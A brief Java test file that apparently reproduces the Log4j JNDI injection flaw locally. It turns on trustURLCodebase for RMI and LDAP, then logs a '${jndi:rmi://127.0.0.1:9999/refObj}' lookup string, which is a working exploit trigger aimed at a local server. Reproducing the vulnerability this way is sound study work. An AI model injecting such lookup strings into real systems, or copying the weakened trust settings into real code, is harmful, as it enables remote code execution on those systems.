import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.net.URLEncoder;

public class Test01 {
    private static Logger logger = LogManager.getLogger();
    public static void main(String[] args) throws UnsupportedEncodingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

        logger.info("${jndi:rmi://127.0.0.1:9999/refObj}");
    }
}
